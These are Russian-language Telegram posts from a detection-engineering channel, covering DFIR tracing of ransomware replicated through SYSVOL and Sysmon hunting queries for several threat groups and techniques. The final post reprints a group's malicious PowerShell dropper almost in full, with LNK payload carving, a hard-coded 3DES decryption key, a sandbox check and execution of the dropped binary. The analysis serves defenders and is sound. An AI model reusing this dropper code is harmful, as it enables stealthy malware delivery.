Forwarded from ESCalator
Вредоносы в SYSVOL: ищем источник 😐
Допустим, мы расследуем инцидент с шифровальщиком. Для запуска шифровальщика хакеры использовали групповую политику (например, прописали задачу планировщика). Сам вредонос они положили в папку
🥷 Как понять, откуда действовал хакер? В этом посте сфокусируемся на файловом следе.
Логика простая: чтобы положить файл в
Кажется, все просто, но есть нюанс: содержимое каталога
Посмотрим отладочные логи DFSR на произвольном DC из тех, на которых вредонос попал в папку
Поищем в логах имя нашего вредоноса (пусть это будет
Если коротко, то оно свидетельствует о появлении нового файла в реплицируемой папке, то есть искомый файл был изначально размещен на этом DC. В этом случае можно переходить к последнему абзацу в посте ниже 🙂
Если же вредонос был реплицирован на исследуемый DC, мы увидим в логах DFSR подобное сообщение:
Очень интересно, но ничего не понятно.
Продолжение в следующем посте 🔽
#ir #dfir #DFSR
@ptescalator
Допустим, мы расследуем инцидент с шифровальщиком. Для запуска шифровальщика хакеры использовали групповую политику (например, прописали задачу планировщика). Сам вредонос они положили в папку
SYSVOL на контроллере домена (DC).🥷 Как понять, откуда действовал хакер? В этом посте сфокусируемся на файловом следе.
Логика простая: чтобы положить файл в
SYSVOL, хакер должен был так или иначе «зайти» на DC. Поэтому смотрим, когда был создан файл (кстати, поэтому важно сначала собрать данные для расследования, а потом уже зачищать системы), и соотносим эту информацию с входами в систему.Кажется, все просто, но есть нюанс: содержимое каталога
SYSVOL реплицируется между DC с помощью DFSR (Distributed File System Replication). То есть хакеру достаточно положить вредоносный файл на один DC, а дальше система автоматически распространит его по всем остальным. Как понять, какой DC был исходным, особенно если DC много?Посмотрим отладочные логи DFSR на произвольном DC из тех, на которых вредонос попал в папку
SYSVOL. Обычно эти логи находятся в папке %systemroot%\debug, имена файлов имеют вид Dfsrxxxxx.log и Dfsrxxxxx.log.gz (.gz в Windows? Да!). Логи текстовые, вполне поддаются грепу, но при этом некоторые события имеют многострочный формат, — учитывайте это, если не хотите потерять контекст.Поищем в логах имя нашего вредоноса (пусть это будет
badfile.exe). Если мы нашли исходный DC с первого раза, мы должны найти в логах подобное сообщение:20250526 02:44:24.906 5628 USNC 2871 UsnConsumer::CreateNewRecord LDB Inserting ID Record:
+ <...>
+ name badfile.exe
Если коротко, то оно свидетельствует о появлении нового файла в реплицируемой папке, то есть искомый файл был изначально размещен на этом DC. В этом случае можно переходить к последнему абзацу в посте ниже 🙂
Можно на всякий случай перепроверить это в журнале$UsnJrnl:$J:badfile.exe,.exe,132035,6849,257939,4,.\Windows\SYSVOL\domain\scripts,52168700184,2025-05-25 23:44:23.6245532,FileCreate,Archive,436154648
Видно, что файл создается на файловой системе (FileCreate).
Если бы файл был реплицирован, это выглядело бы так:2025-03-25 23:44:25 +0000 UTC,badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,System Volume Information\DFSR\Private\{F0285778-7EF8-4808-85D7-68223AA11FB5}-{24DC8227-6461-4D16-96D5-537D78549536}\Installing\badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,FILE_CREATE,archive,7|109885
2025-05-25 23:44:25 +0000 UTC,badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,System Volume Information\DFSR\Private\{F0285778-7EF8-4808-85D7-68223AA11FB5}-{24DC8227-6461-4D16-96D5-537D78549536}\Installing\badfile-{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456.exe,RENAME_OLD_NAME,archive,7|109885
2025-05-25 23:44:25 +0000 UTC,badfile.exe,Windows\SYSVOL\domain\scripts\badfile.exe,RENAME_NEW_NAME,archive,5|269425
Видно, что файл сначала создается в папке DFSR, а потом уже переносится в SYSVOL.
Если же вредонос был реплицирован на исследуемый DC, мы увидим в логах DFSR подобное сообщение:
20250526 02:44:24.949 4452 INCO 3065 InConnection::ReceiveUpdates Received: uid:{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456 gvsn:{D5B54C1C-F832-4838-ABC8-C5027E7F9F51}-v123456 fileName:badfile.exe session:86382 connId:{C62DFB26-63FA-4E9F-B533-0F487BF8E043} csId:{F0285778-7EF8-4808-85D7-68223AA11FB5} csName:SYSVOL Share
Очень интересно, но ничего не понятно.
Продолжение в следующем посте 🔽
#ir #dfir #DFSR
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3🤔3
Forwarded from ESCalator
Продолжаем искать файловый след из поста выше 🐾
Чтобы понять, с какого DC реплицировался файл, нужно узнать, какому хосту соответствует указанный
Как это сделать
1️⃣ Можно посмотреть таблицу соответствия в файле
2️⃣ Можно поискать в логах DFSR события, содержащие одновременно интересующий нас
3️⃣ Если DC «живы», то информацию о GUID’ах можно извлечь с помощью утилиты
Итак, в ходе расследования мы выяснили, что изначально вредоносный файл был размещен на DC02.
Дело за малым — узнать, кто и откуда заходил на этот DC и положил туда этот файл. Журналы ОС и SUM в помощь — никто не обещал, что будет легко! 🙂
#ir #dfir #DFSR
@ptescalator
Чтобы понять, с какого DC реплицировался файл, нужно узнать, какому хосту соответствует указанный
connId (это значение статично и соответствует однонаправленной связи между двумя машинами).Как это сделать
1️⃣ Можно посмотреть таблицу соответствия в файле
\System Volume Information\DFSR\Config\Replica_<GUID группы репликации>.XML. Поищем в нем наш connId и увидим примерно следующее:<DfsrConnection>
<ConnectionGuid>C62DFB26-63FA-4E9F-B533-0F487BF8E043</ConnectionGuid>
<...>
<PartnerName>DC02</PartnerName>
<...>
<PartnerDns>dc02.corp.local</PartnerDns>
<...>
</DfsrConnection>
2️⃣ Можно поискать в логах DFSR события, содержащие одновременно интересующий нас
connId и слова "partnerDns", "partnerName" или "partnerAddress". Можем обнаружить что-то типа:20250314 01:22:31.307 6304 DOWN 3959 [ERROR] DownstreamTransport::EstablishConnection EstablishConnection failed. Check that the connection partner is valid. If not then recreate the connection with valid partner. connId:{C62DFB26-63FA-4E9F-B533-0F487BF8E043} rgName:Domain System Volume partnerName:DC02 partnerDns:dc02.corp.local
3️⃣ Если DC «живы», то информацию о GUID’ах можно извлечь с помощью утилиты
Dfsradmin. Этот способ разбирать не будем — более подробно про логи DFSR можно почитать по ссылке.Итак, в ходе расследования мы выяснили, что изначально вредоносный файл был размещен на DC02.
Дело за малым — узнать, кто и откуда заходил на этот DC и положил туда этот файл. Журналы ОС и SUM в помощь — никто не обещал, что будет легко! 🙂
#ir #dfir #DFSR
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍3🤔2
Всем привет 💻 ✌️
mr.dox не дает отдыхать и выпускает FileFix2
Суть атаки - для решения captcha пользователю нужно сохранить html-страницу и при сохранении, поменять расширение на😇
🔭 Для обнаружения FileFix2 отслеживаем цепочку процессов, например
и запуск hta из директорий пользователя
#ttp@detectioneasy
#detection@detectioneasy
mr.dox не дает отдыхать и выпускает FileFix2
Суть атаки - для решения captcha пользователю нужно сохранить html-страницу и при сохранении, поменять расширение на
.HTA, файл сохранится без MoTW mshta.exe -> powerhshell|cmd|cscript|curl|certutil - можно хоть весь LOLBAS перечислитьи запуск hta из директорий пользователя
*:\Users\#ttp@detectioneasy
#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Mrd0X
Security Research | mr.d0x
Providing security research and red team techniques
🔥7👍3🤔2
Всем привет 💻 ✌️
Давайте познакомимся со статьей trustedsec про использование встроенных VPN-клиентов в Windows.
Windows из коробки поддерживает клиенты для PPTP, L2TP, SSTP, IKev2 - не нужно приносить с собой сторонний клиент для организации доступа
🔭 Все не так страшно, мы можем относительно легко обнаружить такое поведение:
🔤 Доступ к файлу rasphone.pbk в:
предварительно нужно настроить DACL
🔤 Отслеживаем события:
#detection@detectioneasy
#ttp@detectioneasy
Давайте познакомимся со статьей trustedsec про использование встроенных VPN-клиентов в Windows.
Windows из коробки поддерживает клиенты для PPTP, L2TP, SSTP, IKev2 - не нужно приносить с собой сторонний клиент для организации доступа
%appdata%\Microsoft\Network\Connections\Pbk\
C:\Users\All Users\Microsoft\Network\Connections\Pbk\rasphone.pbk
C:\ProgramData\Microsoft\Network\Connections\Pbk\rasphone.pbk
предварительно нужно настроить DACL
Channel="Application" and ProviderName="RasClient" and (EventId = 20221 or EventId = 20222)
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥8👍3🥰3🤔1
DE Q2 2025.pdf
43.7 MB
Всем привет 💻 ✌️
Журнал за Q2
Журнал за Q2
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥7🤔3🍌2
Всем привет 💻 ✌️
Давайте познакомимся с C2-фреймворком OnionC2
Основное преимущество
🔭 Для формирования гипотез обнаружения и Threat Hunting обратим внимание на следующие особенности агента:
🔤 Для проверки реального IP-адреса агент использует сервис
🔤 Из коробки идет два варианта закрепа - реестр и
🔤 Для реестра, стандартно, отслеживаем создание ключей в
🔤
🔤 Для выполнения команд используется
#detection@detectioneasy
#ttp@detectioneasy
Давайте познакомимся с C2-фреймворком OnionC2
Основное преимущество
OnionC2 перед аналогами, по мнению автора, — это использование сети Tor для связи сервера и клиента.By utilizing the Tor network, it ensures that communications between the C2 server and remote systems remain secure, anonymous, and available
https://checkip.amazonaws.comShortcut Takeover*\Software\\Microsoft\\Windows\\CurrentVersion\Run\, имя ключа - Agent Shortcut Takeover - для изменения (или создания нового) используется ярлык %USERPROFILE%\Desktop\Microsoft Edge, целевой файл ярлыка - путь до агента, а значение аргумента - --run-lnk, укажет агенту запустить C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.execmd.exe /C#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍4🤔3
Всем привет 💻 ✌️
Сталкивались ли вы с ситуацией, когда при расследовании инцидента цепочка приводит к хосту, который уже успели переустановить?😱
Вспомнил полезное видео с PHD и решил дополнить список инструментов, которые помогут в таких случаях:
🔍 Основные из видео:
🔤 r-studio
🔤 photorec
🔤 strings
➕ Дополнение:
🔤 binwalk
🔤 Windows-Prefetch-Carver
🔤 EVTXtract
🔤 bulk_extractor
🔤 scalpel
А какие инструменты используете вы? Делитесь в комментах!👇
#dfir@detectioneasy
Сталкивались ли вы с ситуацией, когда при расследовании инцидента цепочка приводит к хосту, который уже успели переустановить?
Вспомнил полезное видео с PHD и решил дополнить список инструментов, которые помогут в таких случаях:
А какие инструменты используете вы? Делитесь в комментах!
#dfir@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
VK Видео
Ошибки при реагировании на инциденты в 2023–2024 годах
Кража данных и шифрование — две самые насущные проблемы 2023 года. Каждая компания, столкнувшаяся с ними, пыталась использовать собственные подходы к решению возникших задач, и многие успели наломать дров, учитывая, что они впервые встретились с подобными…
🔥9👍4🤔4👏1
Всем привет! 💻 ✌️
Обратили внимание, что жизненный цикл реагирования на инциденты от NIST обновился в NIST.SP.800-61r3? Новая версия руководства интегрирована с Cybersecurity Framework (CSF) 2.0
На рисунке показана высокоуровневая модель жизненного цикла реагирования на инциденты, основанная на шести функциях:
- Управление (Govern): Стратегия, ожидания и политика организации в области управления рисками кибербезопасности устанавливаются, доводятся до сведения и отслеживаются
- Идентификация (Identify): анализируются текущие риски
- Защита (Protect): используются меры защиты для управления рисками
- Обнаружение (Detection): выявляются и анализируются возможные инциденты
- Реагирование (Respond): принимаются меры по реагированию в отношении обнаруженного инцидента
- Восстановление (Recover): восстанавливаются активы и процессы, затронутые инцидентом
Все шесть функций взаимосвязаны и формируют непрерывный процесс, где подготовка (управление, идентификация, защита) служит фундаментом для комплексной системы защиты.
Подготовка (управление, идентификация, защита) теперь выделена в отдельный этап, который не входит в процесс реагирования, но является основой для предотвращения инцидентов и снижения их последствий.
Реагирование (обнаружение, реагирование, восстановление) организовано как отдельный цикл, что связано с развитием MSSP (Managed Security Service Providers) и MDR (Managed Detection and Response). Эти сервисы позволяют организациям передать на аутсорс мониторинг и реагирование на инциденты, что особенно важно для малого и среднего бизнеса.
#dfir@detectioneasy
Обратили внимание, что жизненный цикл реагирования на инциденты от NIST обновился в NIST.SP.800-61r3? Новая версия руководства интегрирована с Cybersecurity Framework (CSF) 2.0
На рисунке показана высокоуровневая модель жизненного цикла реагирования на инциденты, основанная на шести функциях:
- Управление (Govern): Стратегия, ожидания и политика организации в области управления рисками кибербезопасности устанавливаются, доводятся до сведения и отслеживаются
- Идентификация (Identify): анализируются текущие риски
- Защита (Protect): используются меры защиты для управления рисками
- Обнаружение (Detection): выявляются и анализируются возможные инциденты
- Реагирование (Respond): принимаются меры по реагированию в отношении обнаруженного инцидента
- Восстановление (Recover): восстанавливаются активы и процессы, затронутые инцидентом
Все шесть функций взаимосвязаны и формируют непрерывный процесс, где подготовка (управление, идентификация, защита) служит фундаментом для комплексной системы защиты.
Подготовка (управление, идентификация, защита) теперь выделена в отдельный этап, который не входит в процесс реагирования, но является основой для предотвращения инцидентов и снижения их последствий.
Реагирование (обнаружение, реагирование, восстановление) организовано как отдельный цикл, что связано с развитием MSSP (Managed Security Service Providers) и MDR (Managed Detection and Response). Эти сервисы позволяют организациям передать на аутсорс мониторинг и реагирование на инциденты, что особенно важно для малого и среднего бизнеса.
#dfir@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥8👍6🤔2❤1
Всем привет! 💻 ✌️
У коллег из BI.ZONE вышел отчет об использовании новых уязвимостей в WinRAR
Уязвимости использовались для получения доступа к хостам жертв - фишинг.
Письмо имеет вложение - rar-архив, который эксплуатирует CVE‑2025‑6218. Уязвимость позволяет вредоносному архиву при распаковке записывать файлы за пределами целевого каталога - значит мы можем закрепиться в папку автозагрузки текущего пользователя.
🔭 Обнаружение строится достаточно легко:
Если атакующие продвинутые можно комбнировать несколько процедур, например заменить LNK на рабочем столе или разместить там RDP-rogue файл... Это уже будет другое правило)
#detection@detectioneasy
#ttp@detectioneasy
У коллег из BI.ZONE вышел отчет об использовании новых уязвимостей в WinRAR
Уязвимости использовались для получения доступа к хостам жертв - фишинг.
Письмо имеет вложение - rar-архив, который эксплуатирует CVE‑2025‑6218. Уязвимость позволяет вредоносному архиву при распаковке записывать файлы за пределами целевого каталога - значит мы можем закрепиться в папку автозагрузки текущего пользователя.
ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and Image endswith "winrar.exe" and TargetFilename = ".*\Microsoft\Windows\Start Menu\Programs\Startup\"
Если атакующие продвинутые можно комбнировать несколько процедур, например заменить LNK на рабочем столе или разместить там RDP-rogue файл... Это уже будет другое правило)
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥12👍6❤3🤔2
Всем привет! 💻 ✌️
Давайте рассмотрим несколько способов закрепления в системе, которые использовали Lazarus😤
Они использовали уязвимость - Phantom DLL Loading, в службе SessionEnv
Для обнаружения такого поведения можем отслеживать создание dll-файлов в директории
🔭 Обнаружение:
#detection@detectioneasy
#ttp@detectioneasy
Давайте рассмотрим несколько способов закрепления в системе, которые использовали Lazarus
Они использовали уязвимость - Phantom DLL Loading, в службе SessionEnv
Для обнаружения такого поведения можем отслеживать создание dll-файлов в директории
Windows\System32\
ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and
(
TargetFilename contains \Windows\System32\TSMSISrv.dll
or
TargetFilename contains \Windows\System32\TSVIPSrv.dll
)
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Fox-IT International blog
Three Lazarus RATs coming for your cheese
Authors: Yun Zheng Hu and Mick Koomen Introduction In the past few years, Fox-IT and NCC Group have conducted multiple incident response cases involving a Lazarus subgroup that specifically targets…
👍8🔥5🥰4
Всем привет! 💻 ✌️
Коллеги из bi.zone уведомили о новых техниках Fluffy Wolf
Давайте вспомним как это было в прошлогоднем отчете. Хакеры использовали схему фишинга
🔭 Обнаружение:
🔤 в двух кампаниях злоумышленники используют раширение
🔤 можем похантить имена файлов с
🔤 создать правило обнаружения таких файлов
#detection@detectioneasy
#ttp@detectioneasy
Коллеги из bi.zone уведомили о новых техниках Fluffy Wolf
Давайте вспомним как это было в прошлогоднем отчете. Хакеры использовали схему фишинга
RAR (с паролем) -> COM. Примечательно, что пароль был указан в имени архива, возможно использовалось для обхода антифишингаcom, вместо exe, можем этим воспользоваться для хантинга"парол|pass"
ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and TargetFilename contains "\Users\" and (Image contains "парол" or Image contains "pass")
ProviderName="Microsoft-Windows-Sysmon" and EventId = 11 and TargetFilename contains "\Users\" and (Image endswith ".com")
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
BI.ZONE
«Давайте сверимся»: как Fluffy Wolf использует акты сверки в атаках
Группировка действует просто, но эффективно: фишинговая рассылка для первоначального доступа, а в ней — исполняемый файл. Так Fluffy Wolf получает удаленный доступ, крадет учетные данные или использует ресурсы взломанной инфраструктуры для майнинга
🔥11👍7❤2🤔2
Всем привет! 💻 ✌️
Команда any.run выпустила интересный материал о применении SVG-файлов в фишинге.
Что важно помнить?
Файл формата SVG (векторная графика), часто используется злоумышленниками для обхода стандартных механизмов защиты. Такие файлы могут содержать код скриптов
🔭 Обнаружение:
🔤 можем отслеживать создание SVG-файлов в каталогах пользователей:
#detection@detectioneasy
#ttp@detectioneasy
Команда any.run выпустила интересный материал о применении SVG-файлов в фишинге.
Что важно помнить?
Файл формата SVG (векторная графика), часто используется злоумышленниками для обхода стандартных механизмов защиты. Такие файлы могут содержать код скриптов
ProviderName="Microsoft-Windows-Sysmon" and EventId=11 and TargetFilename contains "\\Users\\" and TargetFilename endswith ".svg"
#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Telegram
ANY.RUN
🚨 Malicious SVG Leads to Microsoft-Themed PhishKit.
We observed a phishing campaign that began with testing activity on September 10 and scaled into full spam activity by September 15.
⚠️ A legitimate domain was abused to host a malicious SVG disguised…
We observed a phishing campaign that began with testing activity on September 10 and scaled into full spam activity by September 15.
⚠️ A legitimate domain was abused to host a malicious SVG disguised…
🔥8❤4👍4
Всем привет! 💻 ✌️
Коллеги из ЛК отметили, что группировка RevengeHotels (TA558) использует LLM для разработки дроперов на JS. Отличительная особенность - большое количество комментариев и отсутствие обфускации
🔭 Обнаружение:
🔤 Ищем JS-файлы по паттерну
🔤 Для закрепа VenomRAT использует ключ реестра
обнаружим
🔤 Малварь копирует себя на съемные диски под именем
#detectioneasy
#ttp@detectioneasy
Коллеги из ЛК отметили, что группировка RevengeHotels (TA558) использует LLM для разработки дроперов на JS. Отличительная особенность - большое количество комментариев и отсутствие обфускации
*.js в директориях пользователя
ProviderName="Microsoft-Windows-Sysmon" and EventId=11 and TargetFilename endswith ".js" and TargetFilename contains ":\Users\"
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
ProviderName="Microsoft-Windows-Sysmon" and EventId=13 and EventType="SetValue" and TargetObject startswith "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
обнаружим
Run, RunOnce, RunOnceExMy Pictures.exe. Отслеживаем создание EXE-файлов на съемных устройствах
ProviderName="Microsoft-Windows-Sysmon" and EventId=11 and TargetFilename endswith ".exe" and TargetFilename matches "[C-M]:\\\\.*" and not Image endswith "explorer.exe"
#detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9🤔5👍4
Всем привет! 💻 ✌️
Коллеги из Zero Salarium описали кейс, когда при создании новой задачи или службы указывается несуществующий исполняемый файл, например,
При создании процесса
Таким образом, если в папке
Такой же трюк можно сделать с двойным расширением:
В задаче указываем
В целом ничего страшного не происходит, нужно проверить (доработать), что автореспонс (и скрипты) найдут файл, указанный в задаче
🔭 Обнаружение (Threat Hunting):
🔤 мониторим процессы и файлы с двойным расширением
🔤 можем смапить путь к файлу в реестре (задаче или службы) и его наличие на диске
#detectioneasy
#ttp@detectioneasy
Коллеги из Zero Salarium описали кейс, когда при создании новой задачи или службы указывается несуществующий исполняемый файл, например,
C:\TMP\testПри создании процесса
CreateProcess пытается найти указанный файл, если test не существует, система автоматически ищет в той же директории файл test.exeТаким образом, если в папке
C:\TMP\ лежит файл test.exe, он будет успешно запущенТакой же трюк можно сделать с двойным расширением:
В задаче указываем
c:\temp\test.exe, а в директории будет файл c:\temp\test.exe.exeВ целом ничего страшного не происходит, нужно проверить (доработать), что автореспонс (и скрипты) найдут файл, указанный в задаче
#detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Zerosalarium
Stealthy Persistence With Non-Existent Executable File
Exploiting the mechanism that automatically searches for additional executable files when Windows detects that the requested file does not exist
🔥10
Всем привет! 💻 ✌️
Solar выпустил отчет о фишинговых кампаниях, применяемых группировкой NGC6061
Атака начинается с фишингового письма, которое содержит
При запуске ярлыка выполняется следующий ps-скрипт. Скрипт извелекает из
Второй скрипт расшифровывает полезную нагрузку, проверяет количество логических процессоров и если их меньше двух 2, то запускает decoy, иначе запускает бинарь
Интересно, что пути захардкожены
🔭 Для обнаружения достаточно индикаторов:
🔤 Создание LNK с ADS NTFS в
🔤 Анализ опасных-командлетов powershell
#detectioneasy
#ttp@detectioneasy
Solar выпустил отчет о фишинговых кампаниях, применяемых группировкой NGC6061
Атака начинается с фишингового письма, которое содержит
ZIP -> self-extracted LNKПри запуске ярлыка выполняется следующий ps-скрипт. Скрипт извелекает из
LNK два файла - ps1, decoy-docx, сохраняет их в c:\windows\Temp и запускает
powershell.exe -exec bypass -w 1 -c $p=Get-ChildItem -Path $env:userprofile -Include Interview_questions.doc.lnk -Recurse;
$tbytes=[System.IO.File]::ReadAllBytes($p); $tstr=$tbytes|ForEach-Object{$_.ToString('X2')};
for($i=0;$i-le$tstr.Length;$i++){
if($tstr[$i]-eq'24'-and$tstr[$i+1]-eq'42'){
$st=$i;break;
}
}
for($i=0;$i-le$tstr.Length;$i++){
if($tstr[$i]-eq'50'-and$tstr[$i+1]-eq'4B'-and$tstr[$i+2]-eq'03'){
$ed=$i;
break;
}
}
for($j=$st;$j-lt$ed;$j++){
$ec+=$tstr[$j]
}
for($l=$ed;$l-le$tstr.Length;$l++){
$oc+=$tstr[$l];
}
$by=[byte[]]($ec -split '([0-9a-f]{2})'|Where-Object{$_ -match '[0-9a-f]{2}'}|ForEach-Object{[Convert]::ToByte($_, 16)});
$cy=[byte[]]($oc -split '([0-9a-f]{2})'|Where-Object{$_ -match '[0-9a-f]{2}'}|ForEach-Object{[Convert]::ToByte($_, 16)}); $ye=[system.Text.Encoding]::default.getstring($by); [System.IO.File]::WriteAllBytes('c:\windows\temp\u1.ps1', $by); [System.IO.File]::WriteAllBytes('c:\windows\temp\1.docx', $cy);
start-process c:\windows\temp\1.docx;
powershell.exe -exec bypass -w 1 -f c:\windows\temp\u1.ps1;
Второй скрипт расшифровывает полезную нагрузку, проверяет количество логических процессоров и если их меньше двух 2, то запускает decoy, иначе запускает бинарь
$B64="<base64_encode_str>"
$TDESKEY = 'fRTYUIOEGo6nMYPcyCnEJc4qVRTkGY82'
function decode($EncryptedData) {
$Data = $EncryptedData.Split(':')
$TD = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$Key = [Convert]::FromBase64String($TDESKEY)
$IV = [Convert]::FromBase64String($Data[0])
$DataByte = [Convert]::FromBase64String($Data[1])
$MS = New-Object System.IO.MemoryStream(,$DataByte)
$CS = New-Object System.Security.Cryptography.CryptoStream($MS,$TD.CreateDecryptor($Key,$IV), [System.Security.Cryptography.CryptoStreamMode]::Read)
$Reader = New-Object System.IO.StreamReader($CS)
$Result = $Reader.ReadToEnd()
$Reader.Dispose()
$Bytes=[System.Convert]::FromBase64String($Result)
[System.IO.File]::WriteAllBytes( "c:\windows\temp\cgi2.exe",$Bytes)
return $Bytes
}
$t3=Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty NumberOfLogicalProcessors;
if($t3 -le 2)
{
calc.exe;
}
else
{
[byte[]]$readb=decode($B64);
start-sleep(100);
c:\windows\temp\cgi2.exe
}
Интересно, что пути захардкожены
c:\windows\temp\%Temp% или в одной из директорий пользователяSystem.Security.Cryptography, WriteAllBytes, System.IO.File, ReadAllBytes, byte[], ToByte
#detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍5🤔3
